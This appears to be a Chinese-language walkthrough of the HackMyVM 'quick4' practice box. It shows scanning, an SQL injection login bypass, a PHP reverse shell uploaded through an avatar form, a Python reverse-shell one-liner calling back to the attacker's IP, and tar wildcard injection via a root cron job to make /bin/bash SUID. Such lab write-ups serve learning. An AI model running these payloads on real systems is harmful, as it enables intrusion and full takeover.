hmv[-_-]quick4
|
359
|
0
|
CP,penetration test,WEB

1605 字
|
25 分钟

quick4

以前的小靶场配置不了，尝试一下最近的靶场吧：

image-20240316180300792

不到黄河心不死，就是不用virtualbox（配靶场配到丧心病狂）。

信息搜集

端口扫描

扫一下：

nmap -p- -T4 -sV 10.161.187.177
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-16 06:10 EDT
Nmap scan report for 10.161.187.177
Host is up (0.00079s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.17 seconds

目录扫描

dirsearch -u http://10.161.187.177 -e* -i 200,300-399
┌──(kali㉿kali)-[~]
└─$ dirsearch -u http://10.161.187.177 -e* -i 200,300-399                                           
  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )                                                                                                                                                                              
Extensions: php, jsp, asp, aspx, do, action, cgi, html, htm, js, tar.gz | HTTP method: GET | Threads: 25 | Wordlist size: 14594
Output File: /home/kali/reports/http_10.161.187.177/_24-03-16_06-13-08.txt
Target: http://10.161.187.177/
[06:13:08] Starting:
[06:13:09] 301 -  313B  - /js  ->  http://10.161.187.177/js/                
[06:13:11] 200 -  417B  - /.well-known/security.txt                         
[06:13:12] 200 -    2KB - /404.html                                         
[06:13:27] 301 -  318B  - /careers  ->  http://10.161.187.177/careers/      
[06:13:30] 301 -  314B  - /css  ->  http://10.161.187.177/css/              
[06:13:30] 301 -  319B  - /customer  ->  http://10.161.187.177/customer/    
[06:13:34] 301 -  316B  - /fonts  ->  http://10.161.187.177/fonts/          
[06:13:36] 301 -  317B  - /images  ->  http://10.161.187.177/images/        
[06:13:36] 301 -  314B  - /img  ->  http://10.161.187.177/img/              
[06:13:39] 301 -  314B  - /lib  ->  http://10.161.187.177/lib/              
[06:13:42] 301 -  318B  - /modules  ->  http://10.161.187.177/modules/      
[06:13:51] 200 -   32B  - /robots.txt                                       
Task Completed

漏洞利用

查看一下网页，似乎是一个企业网站：

image-20240316181427291

Wappalyzer插件查看

image-20240316181602049

查看敏感目录

# http://10.161.187.177/robots.txt
User-agent: *
Disallow: /admin/
# http://10.161.187.177/.well-known/security.txt
Contact:
- mailto:super.secure@quick.hmv (Serious business only)
- tel:+1-800-NO-HACKS (Available 24/7, except on April Fools' Day)

Policy: https://quick.hmv/security-policy
Encryption: https://quick.hmv/pgp-key.txt
Acknowledgments: https://quick.hmv/security-hall-of-fame.html
Preferred-Languages: en, es, fr, nl, de
Canonical: https://quick.hmv/.well-known/security.txt
Policy: https://quick.hmv/security-policy
Hiring: https://quick.hmv/careers/security-engineer.html
CSAF: https://quick.hmv/csaf-provider-metadata.json
# If you've made it this far, congratulations! As a reward, here's a secret:
# We hid an Easter egg in our website's source code. Can you find it?
# Happy hunting!

踩点

去网页看看，点击右上角，发现一个登录界面：

image-20240316182253075

尝试弱密码以及万能密码：

image-20240316182407592

怎么回事，怎么在这里弹出来了，查看一下源代码：

image-20240316182550496

似乎是保存登录记录的，看看能不能注册一个：

image-20240316182653442

image-20240316182721096

注册成功了，登录一下：

image-20240316182746802

到处看看：

image-20240316182930820

有个改密码的地方。

image-20240316183036998

有个添加数据的地方，可以尝试sql注入。

image-20240316183110618

还有一些用户信息，咋像db网站，但是都点不了。

寻找漏洞

image-20240316183352229

image-20240316184504022

发现密码可以改，而且网页为?id=29，尝试换成其他的试试，但是没发生变化。只能去看看其他方法了，再信息搜集一波。

信息搜集

nikto -h http://10.161.187.177
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          10.161.187.177
+ Target Hostname:    10.161.187.177
+ Target Port:        80
+ Start Time:         2024-03-16 07:04:52 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.52 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /robots.txt: contains 1 entry which should be manually viewed. See: https://developer.mozilla.org/en-US/docs/Glossary/Robots.txt
+ /images: IP address found in the 'location' header. The IP is "127.0.1.1". See: https://portswigger.net/kb/issues/00600300_private-ip-addresses-disclosed
+ /images: The web server may reveal its internal or real IP in the Location header via a request to with HTTP/1.0. The value is "127.0.1.1". See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0649
+ /: Server may leak inodes via ETags, header found with file /, inode: c8d6, size: 6103122781180, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ Apache/2.4.52 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ OPTIONS: Allowed HTTP Methods: HEAD, GET, POST, OPTIONS .
+ 8103 requests: 0 error(s) and 8 item(s) reported on remote host
+ End Time:           2024-03-16 07:05:08 (GMT-4) (16 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

刚刚那个疑似的地方我试了几个没有试出来有啥利用点。

重新信息搜集

看一下其他的目录吧，注册进去的没有啥收获，没啥东西啊！难道遗漏了啥？重新扫一下

端口扫描

rustscan -a 10.161.187.177
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack
80/tcp open  http    syn-ack

目录扫描

┌──(kali㉿kali)-[~]
└─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.161.187.177 -f -t 200
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.161.187.177
[+] Method:                  GET
[+] Threads:                 200
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Add Slash:               true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/img/                 (Status: 403) [Size: 279]
/icons/               (Status: 403) [Size: 279]
/css/                 (Status: 403) [Size: 279]
/lib/                 (Status: 403) [Size: 279]
/js/                  (Status: 403) [Size: 279]
/customer/            (Status: 200) [Size: 2172]
/images/              (Status: 403) [Size: 279]
/fonts/               (Status: 403) [Size: 279]
/employee/            (Status: 200) [Size: 3684]
/modules/             (Status: 403) [Size: 279]
/careers/             (Status: 403) [Size: 279]
/server-status/       (Status: 403) [Size: 279]
Progress: 143599 / 220561 (65.11%)[ERROR] Get "http://10.161.187.177/customized/": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================

漏洞发掘

sql注入

又多扫出来一个目录employee，打开看一下：

image-20240316191817121

又一个登录界面，我擦。尝试登录发现失败了，应该是管理界面：

尝试万能密码，失败，弱密码也失败了。

再试试其他的方法，用户名似乎必须得是符合要求的，尝试在密码端进行注入：

image-20240316192523643

失败了，但是似乎有点作用：

image-20240316192544911

尝试一下其他的payload，山穷水尽的时候再试试sqlmap。

无意中试出来了一种：' OR '1

image-20240316192758082

可以学习参考：https://github.com/payloadbox/sql-injection-payload-list

图片上传反弹shell

尝试寻找可以上传文件的地方：

image-20240316193209601

发现一个上传点，不过是上传头像的，尝试上传一下：

┌──(kali㉿kali)-[~/temp]
└─$ head reverseShell.jpg                                                            
GIF89a
  <?php
  // php-reverse-shell - A Reverse Shell implementation in PHP
  // Copyright (C) 2007 pentestmonkey@pentestmonkey.net

  set_time_limit (0);
  $VERSION = "1.0";
  $ip = '10.161.181.188';  // You have changed this
  $port = 1234;  // And this
  $chunk_size = 1400;

先尝试添加一个员工试试：

image-20240316193543842

卡住了，嘶。看来不阔以，上传吧，但是点击完又弹到添加这了，我还以为是我刚刚自己点的呢，可能上传成功了，尝试查一下：

image-20240316194353950

image-20240316194146174

难道没成功，再试一下：

image-20240316194257971

感觉是成功了啊，都复原到添加用户的位置了。

难道处理了？这咋猜啊。

http://10.161.187.177/employee/uploads/img_reverseShell.jpg

http://10.161.187.177/employee/uploads/image_reverseShell.jpg

总不至于把名字随机化成字符串了吧，难道没上传成功？

http://10.161.187.177/employee/uploads/_reverseShell.jpg

http://10.161.187.177/employee/uploads/employee_reverseShell.jpg

http://10.161.187.177/employee/uploads/2024-03-16_reverseShell.jpg

http://10.161.187.177/employee/uploads/reverseShell_2024-03-16.jpg

经群里师傅们提示（好吧是我偷偷翻了聊天记录），发现名字为：

http://10.161.187.177/employee/uploads/1_reverseShell.jpg

http://10.161.187.177/employee/uploads/2_reverseShell.jpg

image-20240316195129340

但是没上传成功，抓包看一下：

image-20240316195651260

难道后端对文件进行校验了？把文件名该回去试试，再看看是否可以查看到上传的内容：

http://10.161.187.177/employee/uploads/2_reverseShell.php

image-20240316195914182

shell弹回来了，我去真的刁钻。

查看flag：

$ ls -la
total 1840208
drwxr-xr-x  20 root root       4096 Jan 14 20:49 .
drwxr-xr-x  20 root root       4096 Jan 14 20:49 ..
lrwxrwxrwx   1 root root          7 Aug 10  2023 bin -> usr/bin
drwxr-xr-x   4 root root       4096 Feb  4 18:59 boot
dr-xr-xr-x   2 root root       4096 Aug 10  2023 cdrom
drwxr-xr-x  20 root root       4000 Mar 16 18:01 dev
drwxr-xr-x 100 root root       4096 Feb 12 06:21 etc
drwxr-xr-x  11 root root       4096 Feb  8 21:56 home
lrwxrwxrwx   1 root root          7 Aug 10  2023 lib -> usr/lib
lrwxrwxrwx   1 root root          9 Aug 10  2023 lib32 -> usr/lib32
lrwxrwxrwx   1 root root          9 Aug 10  2023 lib64 -> usr/lib64
lrwxrwxrwx   1 root root         10 Aug 10  2023 libx32 -> usr/libx32
drwx------   2 root root      16384 Jan 14 20:47 lost+found
drwxr-xr-x   2 root root       4096 Aug 10  2023 media
drwxr-xr-x   2 root root       4096 Aug 10  2023 mnt
drwxr-xr-x   2 root root       4096 Aug 10  2023 opt
dr-xr-xr-x 265 root root          0 Mar 16 18:01 proc
drwx------   7 root root       4096 Feb 12 16:10 root
drwxr-xr-x  32 root root        900 Mar 16 18:53 run
lrwxrwxrwx   1 root root          8 Aug 10  2023 sbin -> usr/sbin
drwxr-xr-x   6 root root       4096 Aug 10  2023 snap
drwxr-xr-x   2 root root       4096 Aug 10  2023 srv
-rw-------   1 root root 1884291072 Jan 14 20:49 swap.img
dr-xr-xr-x  13 root root          0 Mar 16 18:01 sys
drwxrwxrwt   2 root root       4096 Mar 16 19:57 tmp
drwxr-xr-x  14 root root       4096 Aug 10  2023 usr
drwxr-xr-x  14 root root       4096 Jan 21 14:02 var
$ cd /home
$ ls
andrew
coos
jeff
john
juan
lara
lee
mike
nick
user.txt
$ cat user.txt

image-20240316200307315

flag我提交了，就不截图了。

提权

查看一下基础信息：

$ whoami;id
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ sudo -l
sudo: a terminal is required to read the password; either use the -S option to read from standard input or configure an askpass helper                                                               
sudo: a password is required
$ find /-perm -u=s -type f 2>/dev/null
$ find / -perm -u=s -type f 2>/dev/null
/snap/snapd/19457/usr/lib/snapd/snap-confine
/snap/snapd/20671/usr/lib/snapd/snap-confine
/snap/core20/1974/usr/bin/chfn
/snap/core20/1974/usr/bin/chsh
/snap/core20/1974/usr/bin/gpasswd
/snap/core20/1974/usr/bin/mount
/snap/core20/1974/usr/bin/newgrp
/snap/core20/1974/usr/bin/passwd
/snap/core20/1974/usr/bin/su
/snap/core20/1974/usr/bin/sudo
/snap/core20/1974/usr/bin/umount
/snap/core20/1974/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1974/usr/lib/openssh/ssh-keysign
/snap/core20/2105/usr/bin/chfn
/snap/core20/2105/usr/bin/chsh
/snap/core20/2105/usr/bin/gpasswd
/snap/core20/2105/usr/bin/mount
/snap/core20/2105/usr/bin/newgrp
/snap/core20/2105/usr/bin/passwd
/snap/core20/2105/usr/bin/su
/snap/core20/2105/usr/bin/sudo
/snap/core20/2105/usr/bin/umount
/snap/core20/2105/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/2105/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1

yehe，有sudo，nice！等下，我不知道密码呀。。。。。

扩展一下shell

python3 -c 'import pty;pty.spawn("/bin/bash")'

查看一下定时任务

www-data@quick4:/$ ls -al /etc/cron*
ls -al /etc/cron*
-rw-r--r-- 1 root root 1183 Feb 12 06:21 /etc/crontab

/etc/cron.d:
total 20
drwxr-xr-x   2 root root 4096 Jan 21 14:13 .
drwxr-xr-x 100 root root 4096 Feb 12 06:21 ..
-rw-r--r--   1 root root  102 Mar 23  2022 .placeholder
-rw-r--r--   1 root root  201 Jan  8  2022 e2scrub_all
-rw-r--r--   1 root root  712 Jan 28  2022 php

/etc/cron.daily:
total 36
drwxr-xr-x   2 root root 4096 Jan 21 14:02 .
drwxr-xr-x 100 root root 4096 Feb 12 06:21 ..
-rw-r--r--   1 root root  102 Mar 23  2022 .placeholder
-rwxr-xr-x   1 root root  539 May  3  2023 apache2
-rwxr-xr-x   1 root root  376 Nov 11  2019 apport
-rwxr-xr-x   1 root root 1478 Apr  8  2022 apt-compat
-rwxr-xr-x   1 root root  123 Dec  5  2021 dpkg
-rwxr-xr-x   1 root root  377 May 25  2022 logrotate
-rwxr-xr-x   1 root root 1330 Mar 17  2022 man-db

/etc/cron.hourly:
total 12
drwxr-xr-x   2 root root 4096 Aug 10  2023 .
drwxr-xr-x 100 root root 4096 Feb 12 06:21 ..
-rw-r--r--   1 root root  102 Mar 23  2022 .placeholder

/etc/cron.monthly:
total 12
drwxr-xr-x   2 root root 4096 Aug 10  2023 .
drwxr-xr-x 100 root root 4096 Feb 12 06:21 ..
-rw-r--r--   1 root root  102 Mar 23  2022 .placeholder

/etc/cron.weekly:
total 16
drwxr-xr-x   2 root root 4096 Aug 10  2023 .
drwxr-xr-x 100 root root 4096 Feb 12 06:21 ..
-rw-r--r--   1 root root  102 Mar 23  2022 .placeholder
-rwxr-xr-x   1 root root 1020 Mar 17  2022 man-db
www-data@quick4:/$ cat /etc/cron*                
cat /etc/cron*
cat: /etc/cron.d: Is a directory
cat: /etc/cron.daily: Is a directory
cat: /etc/cron.hourly: Is a directory
cat: /etc/cron.monthly: Is a directory
cat: /etc/cron.weekly: Is a directory
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
# You can also override PATH, but by default, newer versions inherit it from the environment
#PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
*/1 *   * * *   root    /usr/local/bin/backup.sh
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#

hhh，真有定时任务欸，查看一下这个脚本：

#!/bin/bash
cd /var/www/html/
tar czf /var/backups/backup-website.tar.gz *

定时任务反弹shell

是个自动备份脚本，看看是否可编辑，等下我要编辑它干啥，我可以直接传一个反弹shell上去让他解压呀！nice!

因为有python，直接传python脚本了：

# kali
python -m http.server 8888
# quick4
wget http://10.161.181.188:8888/fuck.py
# fuck.py
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.161.181.188",4321));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
www-data@quick4:/$ cd /var/www/html/
cd /var/www/html/
www-data@quick4:/var/www/html$ wget http://10.161.181.188:8888/fuck.py
wget http://10.161.181.188:8888/fuck.py
--2024-03-16 20:17:49--  http://10.161.181.188:8888/fuck.py
Connecting to 10.161.181.188:8888... connected.
HTTP request sent, awaiting response... 200 OK
Length: 228 [text/x-python]
Saving to: ‘fuck.py’

fuck.py             100%[===================>]     228  --.-KB/s    in 0s      

2024-03-16 20:17:49 (39.6 MB/s) - ‘fuck.py’ saved [228/228]

www-data@quick4:/var/www/html$ ls -la
ls -la
total 148
drwxr-xr-x 14 www-data www-data  4096 Mar 16 20:17 .
drwxr-xr-x  3 root     root      4096 Jan 21 14:02 ..
drwxr-xr-x  2 www-data www-data  4096 Feb  6 13:55 .well-known
-rw-r--r--  1 www-data www-data   871 Jan 21 20:24 404.css
-rw-r--r--  1 www-data www-data  5014 Feb  5 14:36 404.html
drwxr-xr-x  3 root     root      4096 Feb  8 21:07 careers
drwxr-xr-x  2 www-data www-data  4096 Jan 30 21:29 css
drwxr-xr-x  7 www-data www-data  4096 Feb 12 16:05 customer
drwxr-xr-x  8 root     root      4096 Feb  9 21:48 employee
drwxr-xr-x  2 www-data www-data  4096 Jan 30 21:29 fonts
-rw-rw-rw-  1 www-data www-data   228 Mar 16 12:15 fuck.py
drwxr-xr-x  5 www-data www-data  4096 Jan 22 19:59 images
drwxr-xr-x  2 root     root      4096 Jan 30 21:29 img
-rw-r--r--  1 root     root     51414 Jan 30 22:17 index.html
drwxr-xr-x  2 www-data www-data  4096 Jan 30 21:29 js
drwxr-xr-x  9 root     root      4096 Jan 30 21:29 lib
drwxr-xr-x  2 www-data www-data 20480 Jan 22 20:00 modules
-rw-r--r--  1 root     root        32 Feb  6 11:34 robots.txt
drwxr-xr-x  3 root     root      4096 Jan 30 21:29 scss
-rw-r--r--  1 www-data www-data  4038 Dec  4 08:39 styles.css
www-data@quick4:/var/www/html$ chmod +x fuck.py
chmod +x fuck.py

然后创建检查点进行监察，利用 tar 的特性，当 tar 到达每个文件的结束时，执行指定的操作，一直等就行了

https://gtfobins.github.io/gtfobins/tar/#sudo

www-data@quick4:/var/www/html$ touch /var/www/html/--checkpoint=1
touch /var/www/html/--checkpoint=1
www-data@quick4:/var/www/html$ touch /var/www/html/--checkpoint-action=exec=python3 fuck.py
<r/www/html/--checkpoint-action=exec=python3 fuck.py
www-data@quick4:/var/www/html$ ls -la fuck.py
ls -la fuck.py
-rwxrwxrwx 1 www-data www-data 228 Mar 16 20:22 fuck.py

咋一直没动静，传一个 pspy64 上去看一下：

pspy64 2>/dev/null | nc -nv 10.161.181.188 5555

image-20240316203817778

咋一直没动静，才发现监听错端口了，哈哈哈，重新来，换一个不用传文件的：

echo "chmod +s /bin/bash" > exp.sh
chmod +x exp.sh
touch /var/www/html/--checkpoint=1
touch /var/www/html/--checkpoint-action=exec=sh\ exp.sh
ls -la /bin/bash
/bin/bash -p

咋一直不好呢，按理来说一分钟一次的啊，重起靶场再来一次：

┌──(kali㉿kali)-[~]
└─$ nc -lvvp 1234
listening on [any] 1234 ...
10.161.192.13: inverse host lookup failed: Unknown host
connect to [10.161.181.188] from (UNKNOWN) [10.161.192.13] 48748
Linux quick4 5.15.0-92-generic #102-Ubuntu SMP Wed Jan 10 09:33:48 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
 21:10:33 up 2 min,  0 users,  load average: 0.12, 0.08, 0.03
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@quick4:/$ cd /var/www/html
cd /var/www/html
www-data@quick4:/var/www/html$ ls
ls
404.css   careers  customer  fonts   img         js   modules     scss
404.html  css      employee  images  index.html  lib  robots.txt  styles.css
www-data@quick4:/var/www/html$ echo "chmod +s /bin/bash" > exp.sh
echo "chmod +s /bin/bash" > exp.sh
www-data@quick4:/var/www/html$ chmod +x exp.sh
chmod +x exp.sh
www-data@quick4:/var/www/html$ touch /var/www/html/--checkpoint=1
touch /var/www/html/--checkpoint=1
www-data@quick4:/var/www/html$ touch /var/www/html/--checkpoint-action=exec=sh\ exp.sh
<h /var/www/html/--checkpoint-action=exec=sh\ exp.sh
www-data@quick4:/var/www/html$ ls -la /bin/bash
ls -la /bin/bash
-rwxr-xr-x 1 root root 1396520 Jan  6  2022 /bin/bash
www-data@quick4:/var/www/html$ ^[[A
ls -la /bin/bash
-rwsr-sr-x 1 root root 1396520 Jan  6  2022 /bin/bash
www-data@quick4:/var/www/html$ /bin/bash -p
/bin/bash -p
bash-5.1# whoami;id
whoami;id
root
uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)
bash-5.1# cd /root
cd /root
bash-5.1# ls -la
ls -la
total 56
drwx------  7 root root 4096 Feb 12 16:10 .
drwxr-xr-x 20 root root 4096 Jan 14 20:49 ..
lrwxrwxrwx  1 root root    9 Jan 24 13:02 .bash_history -> /dev/null
-rw-r--r--  1 root root 3106 Oct 15  2021 .bashrc
drwx------  2 root root 4096 Jan 25 18:45 .cache
-rw-------  1 root root   20 Jan 21 14:31 .lesshst
drwxr-xr-x  3 root root 4096 Jan 14 21:04 .local
-rw-r--r--  1 root root  161 Jul  9  2019 .profile
-rw-r--r--  1 root root   66 Feb  6 11:05 .selected_editor
drwx------  2 root root 4096 Jan 14 20:54 .ssh
-rw-r--r--  1 root root    0 Jan 14 21:10 .sudo_as_admin_successful
drwxr-xr-x  7 root root 4096 Jan 22 19:40 dash
-rw-------  1 root root 8740 Feb  2 14:23 root.txt
drwx------  3 root root 4096 Jan 14 20:54 snap
bash-5.1# cat root.txt
cat root.txt

image-20240316211350091

同上，flag我提交了，就不留下来了。

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